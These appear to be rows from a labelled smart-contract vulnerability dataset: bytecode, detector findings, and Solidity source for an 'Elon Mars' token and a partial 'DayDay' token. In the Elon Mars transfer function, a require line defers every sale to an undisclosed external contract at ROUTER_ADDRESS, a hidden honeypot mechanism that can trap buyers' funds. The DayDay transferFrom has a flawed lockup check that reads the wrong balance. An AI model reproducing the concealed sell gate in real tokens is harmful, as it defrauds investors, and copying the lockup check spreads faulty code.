766572666c6f77000081525061183d565b90505b92915050565b60008261153f5750600061152a565b8282028284828161154c57fe5b04146115275760405162461bcd60e51b8152600401808060200182810382526021815260200180611a386021913960400191505060405180910390fd5b600061152783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d4565b600082820183811015611527576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b17905261167f908590611685565b50505050565b611697826001600160a01b0316611939565b6116e8576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106117265780518252601f199092019160209182019101611707565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114611788576040519150601f19603f3d011682016040523d82523d6000602084013e61178d565b606091505b5091509150816117e4576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b80511561167f5780806020019051602081101561180057600080fd5b505161167f5760405162461bcd60e51b815260040180806020018281038252602a815260200180611a59602a913960400191505060405180910390fd5b600081848411156118cc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611891578181015183820152602001611879565b50505050905090810190601f1680156118be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836119235760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611891578181015183820152602001611879565b50600083858161192f57fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470811580159061196d5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f0160209004810192826119ab57600085556119f1565b82601f106119c457805160ff19168380011785556119f1565b828001600101855582156119f1579182015b828111156119f15782518255916020019190600101906119d6565b506119fd929150611a22565b5090565b60405180606001604052806000815260200160008152602001600081525090565b5b808211156119fd5760008155600101611a2356fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220e73f50c87f41747254a3abcf8ee6e0e7ca53ebca5aba193ed436370f6d5ce37964736f6c63430007050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 6,295 |
0xd76aEe5a635B9CCbeEDf9Af8A591d1868b11D931
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/ElonMarsToken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=7;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="ELONMARS";
string constant TOKEN_NAME="Elon Mars";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract ElonMarsToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(5);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102945780639e752b95146102c5578063a9059cbb146102e5578063dd62ed3e14610305578063f42938901461034b57600080fd5b806356d9dce81461022257806370a0823114610237578063715018a6146102575780638da5cb5b1461026c57600080fd5b8063293230b8116100d1578063293230b8146101c5578063313ce567146101dc5780633e07ce5b146101f857806351bc3c851461020d57600080fd5b806306fdde031461010e578063095ea7b31461015257806318160ddd1461018257806323b872dd146101a557600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b50604080518082019091526009815268456c6f6e204d61727360b81b60208201525b60405161014991906114f7565b60405180910390f35b34801561015e57600080fd5b5061017261016d366004611561565b610360565b6040519015158152602001610149565b34801561018e57600080fd5b50610197610377565b604051908152602001610149565b3480156101b157600080fd5b506101726101c036600461158d565b610398565b3480156101d157600080fd5b506101da610401565b005b3480156101e857600080fd5b5060405160068152602001610149565b34801561020457600080fd5b506101da610779565b34801561021957600080fd5b506101da6107af565b34801561022e57600080fd5b506101da6107dc565b34801561024357600080fd5b506101976102523660046115ce565b61085d565b34801561026357600080fd5b506101da61087f565b34801561027857600080fd5b506000546040516001600160a01b039091168152602001610149565b3480156102a057600080fd5b50604080518082019091526008815267454c4f4e4d41525360c01b602082015261013c565b3480156102d157600080fd5b506101da6102e03660046115eb565b610923565b3480156102f157600080fd5b50610172610300366004611561565b61094c565b34801561031157600080fd5b50610197610320366004611604565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035757600080fd5b506101da610959565b600061036d3384846109c3565b5060015b92915050565b60006103856006600a611737565b610393906305f5e100611746565b905090565b60006103a5848484610ae7565b6103f784336103f2856040518060600160405280602881526020016118c4602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e23565b6109c3565b5060019392505050565b6009546001600160a01b0316331461041857600080fd5b600c54600160a01b900460ff16156104775760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a39030906001600160a01b03166104956006600a611737565b6103f2906305f5e100611746565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051a9190611765565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561057c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a09190611765565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106119190611765565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d71947306106418161085d565b6000806106566000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106be573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e39190611782565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610752573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077691906117b0565b50565b6009546001600160a01b0316331461079057600080fd5b61079c6006600a611737565b6107aa906305f5e100611746565b600a55565b6009546001600160a01b031633146107c657600080fd5b60006107d13061085d565b905061077681610e5d565b6009546001600160a01b031633146107f357600080fd5b600c54600160a01b900460ff1661084c5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f74207374617274656420796574000000000000604482015260640161046e565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037190610fd7565b6000546001600160a01b031633146108d95760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161046e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093a57600080fd5b6007811061094757600080fd5b600855565b600061036d338484610ae7565b6009546001600160a01b0316331461097057600080fd5b4761077681611054565b60006109bc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611092565b9392505050565b6001600160a01b038316610a255760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046e565b6001600160a01b038216610a865760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046e565b6001600160a01b038216610bad5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046e565b60008111610c0f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046e565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8291906117d2565b600c546001600160a01b038481169116148015610cad5750600b546001600160a01b03858116911614155b610cb8576000610cba565b815b1115610cc557600080fd5b6000546001600160a01b03848116911614801590610cf157506000546001600160a01b03838116911614155b15610e1357600c546001600160a01b038481169116148015610d215750600b546001600160a01b03838116911614155b8015610d4657506001600160a01b03821660009081526004602052604090205460ff16155b15610d9c57600a548110610d9c5760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161046e565b6000610da73061085d565b600c54909150600160a81b900460ff16158015610dd25750600c546001600160a01b03858116911614155b8015610de75750600c54600160b01b900460ff165b15610e1157610df581610e5d565b47670de0b6b3a7640000811115610e0f57610e0f47611054565b505b505b610e1e8383836110c0565b505050565b60008184841115610e475760405162461bcd60e51b815260040161046e91906114f7565b506000610e5484866117eb565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea557610ea5611802565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610efe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f229190611765565b81600181518110610f3557610f35611802565b6001600160a01b039283166020918202929092010152600b54610f5b91309116846109c3565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f94908590600090869030904290600401611818565b600060405180830381600087803b158015610fae57600080fd5b505af1158015610fc2573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600060055482111561103e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046e565b60006110486110cb565b90506109bc838261097a565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561108e573d6000803e3d6000fd5b5050565b600081836110b35760405162461bcd60e51b815260040161046e91906114f7565b506000610e548486611889565b610e1e8383836110ee565b60008060006110d86111e5565b90925090506110e7828261097a565b9250505090565b60008060008060008061110087611267565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113290876112c4565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111619086611306565b6001600160a01b03891660009081526002602052604090205561118381611365565b61118d84836113af565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d291815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fa6006600a611737565b611208906305f5e100611746565b90506112306112196006600a611737565b611227906305f5e100611746565b6005549061097a565b82101561125e576005546112466006600a611737565b611254906305f5e100611746565b9350935050509091565b90939092509050565b60008060008060008060008060006112848a6007546008546113d3565b92509250925060006112946110cb565b905060008060006112a78e878787611428565b919e509c509a509598509396509194505050505091939550919395565b60006109bc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e23565b60008061131383856118ab565b9050838110156109bc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046e565b600061136f6110cb565b9050600061137d8383611478565b3060009081526002602052604090205490915061139a9082611306565b30600090815260026020526040902055505050565b6005546113bc90836112c4565b6005556006546113cc9082611306565b6006555050565b60008080806113ed60646113e78989611478565b9061097a565b9050600061140060646113e78a89611478565b90506000611418826114128b866112c4565b906112c4565b9992985090965090945050505050565b60008080806114378886611478565b905060006114458887611478565b905060006114538888611478565b905060006114658261141286866112c4565b939b939a50919850919650505050505050565b60008261148757506000610371565b60006114938385611746565b9050826114a08583611889565b146109bc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046e565b600060208083528351808285015260005b8181101561152457858101830151858201604001528201611508565b81811115611536576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077657600080fd5b6000806040838503121561157457600080fd5b823561157f8161154c565b946020939093013593505050565b6000806000606084860312156115a257600080fd5b83356115ad8161154c565b925060208401356115bd8161154c565b929592945050506040919091013590565b6000602082840312156115e057600080fd5b81356109bc8161154c565b6000602082840312156115fd57600080fd5b5035919050565b6000806040838503121561161757600080fd5b82356116228161154c565b915060208301356116328161154c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561168e5781600019048211156116745761167461163d565b8085161561168157918102915b93841c9390800290611658565b509250929050565b6000826116a557506001610371565b816116b257506000610371565b81600181146116c857600281146116d2576116ee565b6001915050610371565b60ff8411156116e3576116e361163d565b50506001821b610371565b5060208310610133831016604e8410600b8410161715611711575081810a610371565b61171b8383611653565b806000190482111561172f5761172f61163d565b029392505050565b60006109bc60ff841683611696565b60008160001904831182151516156117605761176061163d565b500290565b60006020828403121561177757600080fd5b81516109bc8161154c565b60008060006060848603121561179757600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c257600080fd5b815180151581146109bc57600080fd5b6000602082840312156117e457600080fd5b5051919050565b6000828210156117fd576117fd61163d565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118685784516001600160a01b031683529383019391830191600101611843565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118a657634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118be576118be61163d565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e70cae615107b2511d18efaa76c897cc639a8f8c4f17de810835e6c7744c9f6864736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,296 |
0xe2dcd10f43cd9229f253e5147a793e6f64283f2b
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
/// Total amount of tokens
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _amount) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success);
function approve(address _spender, uint256 _amount) public returns (bool success);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
//balance in each address account
mapping(address => uint256) balances;
address ownerWallet;
struct Lockup
{
uint256 lockupTime;
uint256 lockupAmount;
}
Lockup lockup;
mapping(address=>Lockup) lockupParticipants;
uint256 startTime;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _amount The amount to be transferred.
*/
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[msg.sender] >= _amount && _amount > 0
&& balances[_to].add(_amount) > balances[_to]);
if (lockupParticipants[msg.sender].lockupAmount>0)
{
uint timePassed = now - startTime;
if (timePassed < lockupParticipants[msg.sender].lockupTime)
{
require(balances[msg.sender].sub(_amount) >= lockupParticipants[msg.sender].lockupAmount);
}
}
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _amount uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(balances[_from] >= _amount);
require(allowed[_from][msg.sender] >= _amount);
require(_amount > 0 && balances[_to].add(_amount) > balances[_to]);
if (lockupParticipants[_from].lockupAmount>0)
{
uint timePassed = now - startTime;
if (timePassed < lockupParticipants[_from].lockupTime)
{
require(balances[msg.sender].sub(_amount) >= lockupParticipants[_from].lockupAmount);
}
}
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _amount The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken, Ownable {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner{
require(_value <= balances[ownerWallet]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[ownerWallet] = balances[ownerWallet].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(msg.sender, _value);
}
}
/**
* @title DayDay Token
* @dev Token representing DD.
*/
